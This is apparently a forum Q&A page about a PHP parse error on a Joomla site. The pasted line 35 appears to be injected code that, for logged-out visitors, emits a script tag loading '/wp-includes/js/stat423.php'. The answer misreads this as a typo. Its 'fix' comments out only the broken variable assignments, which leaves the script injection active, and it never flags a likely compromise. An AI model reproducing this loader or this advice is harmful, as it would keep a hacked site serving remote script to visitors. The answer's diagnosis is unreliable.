Roberto Rossi Roberto Rossi - 1 year ago 158
PHP Question

Issue with my joomla website

i'm a graphic & web designer but i'm not a programmer..

i need help. today i found this error when i load my homepage of this web site based on old joomla..

Parse error: syntax error, unexpected T_DNUMBER, expecting T_VARIABLE or '$' in /web/htdocs/ on line 35

i was looking on line 35 and i found this:

<?php $423e62d9=1;if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo "
<script language=JavaScript id=onDate ></script>
<script language=JavaScript src=/wp-includes/js/stat423.php ></script>
";};$423e62d9=1; ?>

how to fix it?
thank in advance!
Best regards

Answer Source

First, like others pointed in comments, $423e62d9 is not a valid variable name. So you have to fix it somehow.

Second, in this code the usage of this "variable" doesn't make any sense: it is just equated to 1 couple of times: $423e62d9=1;. So there can be 3 options: either this part is not needed at all, or this "varialbe" is used elsewhere, too, or this is some sort of mistyping (2 times? hmm).

Next, I suggest you to comment out those bits:

<?php /*$423e62d9=1;*/if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo "
<script language=JavaScript id=onDate ></script>
<script language=JavaScript src=/wp-includes/js/stat423.php ></script>
";};/*$423e62d9=1;*/ ?>

and see what happens. This can fix the problem, or shed some more light on its origin.

Another option is to try to rename it (add a letter after $), but it doesn't make much sense unless you find it elsewhere.

Finally, if this is the third case, this may require some "educated guess". Well, I don't think the guessing game is worthy, so let's start from the 2 options suggested above.